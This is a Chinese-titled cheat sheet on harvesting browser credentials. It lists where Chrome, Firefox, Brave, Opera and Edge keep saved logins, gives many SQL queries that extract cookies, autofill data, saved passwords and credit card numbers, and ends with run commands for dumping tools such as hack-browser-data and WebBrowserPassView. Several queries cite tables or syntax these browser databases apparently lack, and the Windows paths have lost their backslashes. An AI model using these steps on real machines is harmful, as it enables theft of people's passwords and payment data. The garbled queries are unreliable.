获取浏览器凭据的方法Tips

C:Users<USER>AppDataLocalGoogleChromeUser DataDefaultLogin Data

~/.config/google-chrome/Default/Login Data

~/Library/Application Support/Google/Chrome/Default/Login Data

C:Users<USER>AppDataRoamingMozillaFirefoxProfiles<ProfileName>logins.json

~/.mozilla/firefox/<ProfileName>/logins.json

~/Library/Application Support/Firefox/Profiles/<ProfileName>/logins.json

C:Users<USER>AppDataLocalBraveSoftwareBrave-BrowserUser DataDefaultLogin Data

~/.config/BraveSoftware/Brave-Browser/Default/Login Data

~/Library/Application Support/BraveSoftware/Brave-Browser/Default/Login Data

C:Users<USER>AppDataRoamingOpera SoftwareOpera StableLogin Data

~/.config/opera/Login Data

~/Library/Application Support/com.operasoftware.Opera/Login Data

C:Users<USER>AppDataLocalMicrosoftEdgeUser DataDefaultLogin Data

SELECT host_key, name, value, expires_utc FROM cookies;

SELECT name, value FROM autofill WHERE field_type = 'field';

SELECT url, title, GROUP_CONCAT(tags) AS bookmark_tags FROM bookmarks GROUP BY url, title;

SELECT url, target_path, start_time, end_time FROM downloads;

SELECT origin, field_name, value FROM forms;

SELECT form_field, user_input FROM input_history;

SELECT url, visit_time, referring_visit_id FROM visits;

SELECT url, annotation, created, modified FROM annotations;

SELECT origin, app_id, last_update_time FROM web_apps;

SELECT url, host FROM visits JOIN hosts ON visits.url = hosts.url;

SELECT origin, SUM(count) AS total_engagement_count, MAX(last_engagement_time_usec) AS last_engagement_time FROM media_engagement GROUP BY origin;

SELECT keyword, url, search_time FROM search_engines;

SELECT formSubmitURL, encryptedUsername, encryptedPassword FROM moz_logins WHERE formSubmitURL IS NOT NULL;

SELECT name_on_card, card_number, expiration_month, expiration_year FROM credit_cards;

SELECT id, name, device_type, last_modified FROM sync;

SELECT origin, origin_attributes FROM origins;

SELECT name, permissions, install_date FROM extensions;

SELECT url, target_path, bytes_total FROM downloads;

SELECT url_chain FROM downloads_url_chains;

SELECT media_unique_id, playback_start_time_usec, duration_usec FROM media_session;

SELECT guid, manufacturer, product FROM usb_devices;

SELECT url, suggested_prio FROM network_action_predictor_service;

SELECT protocol, url FROM protocol_handler;

SELECT url, created FROM startup_urls;

SELECT url, title, visit_count FROM visits WHERE visit_count > 100;

SELECT keyword, COUNT(*) AS query_count FROM search_engines GROUP BY keyword ORDER BY query_count DESC LIMIT 10;

SELECT action_url, username_value, password_value, times_used, times_failed FROM logins WHERE times_failed > 0;

SELECT url, title, GROUP_CONCAT(tags) AS bookmark_tags FROM bookmarks GROUP BY url, title HAVING bookmark_tags LIKE '%important%';

SELECT form_field, user_input, input_timestamp FROM input_history WHERE user_input LIKE '%password%' OR user_input LIKE '%credit card%';

SELECT url, title, last_updated FROM synced_tabs;

SELECT host_key, name, value FROM cookies WHERE host_key IN ('example.com', 'test.com');

SELECT origin, field_name, value FROM forms WHERE origin LIKE '%phishing%';

SELECT url, target_path, start_time, end_time FROM downloads WHERE url LIKE '%malware%';

SELECT url, annotation, created, modified FROM annotations WHERE annotation LIKE '%hack%' OR annotation LIKE '%exploit%';

SELECT url, visit_time FROM visits WHERE visit_time >= NOW() - INTERVAL 1 DAY ORDER BY visit_time DESC LIMIT 10;

SELECT form_field, user_input, COUNT(*) AS input_count FROM input_history WHERE user_input IN ('password', 'credit card') GROUP BY form_field, user_input ORDER BY input_count DESC LIMIT 10;

SELECT name, COUNT(*) AS install_count FROM extensions GROUP BY name ORDER BY install_count DESC LIMIT 10;

SELECT url FROM history WHERE last_visit_time < NOW() - INTERVAL 30 DAY;

SELECT media_unique_id, playback_start_time_usec, duration_usec FROM media_session WHERE duration_usec > 3600000; -- Sessions longer than 1 hour

SELECT url, title, COUNT(*) AS search_count FROM history WHERE title LIKE '%search%' GROUP BY url, title ORDER BY search_count DESC LIMIT 10;

SELECT origin, form_field, COUNT(*) AS input_count FROM forms GROUP BY origin, form_field ORDER BY input_count DESC LIMIT 10;

SELECT guid, manufacturer, product FROM usb_devices WHERE manufacturer LIKE '%unknown%' ORDER BY connection_timestamp DESC LIMIT 5;

SELECT url_chain FROM downloads_url_chains WHERE url_chain LIKE '%malware%';

SELECT id, name, device_type, last_modified FROM sync WHERE device_type = 'unknown';

SELECT action_url, COUNT(*) AS submission_count FROM logins GROUP BY action_url ORDER BY submission_count DESC LIMIT 10;

SELECT protocol, url FROM protocol_handler WHERE protocol LIKE '%exploit%' LIMIT 5;

SELECT host_key, COUNT(*) AS cookie_count FROM cookies GROUP BY host_key ORDER BY cookie_count DESC LIMIT 10;

SELECT origin, origin_attributes FROM origins WHERE origin_attributes LIKE '%suspicious%';

SELECT permissions, COUNT(*) AS extension_count FROM extensions GROUP BY permissions ORDER BY extension_count DESC LIMIT 10;

SELECT name, value FROM autofill WHERE value LIKE '%password%' OR value LIKE '%credit card%';

.hack-browser-data.exe -b all -f json --dir results -zip或.hack-browser-data.exe -b chrome -p "C:UsersUserAppDataLocalMicrosoftEdgeUser DataDefault"

pip install -r requirements.txtpython chromium_based_browsers.py

BrowserPass.exe

WebBrowserPassView.exe

python infornito.py history --profile 2 --export csv --to ~/Desktop/export或python infornito.py downloads --profile 2或python infornito.py history --profile 2 --filter domain=target.com --filter filetype=pdf --filter protocols=https --filter port=4880

pip install pyhindsightcurl -sSL https://raw.githubusercontent.com/obsidianforensics/hindsight/master/install-js.sh | sh或Windowshindsight_gui.exehttp://localhost:8080/

BrowserFreak.bat

BrowserCollector.exe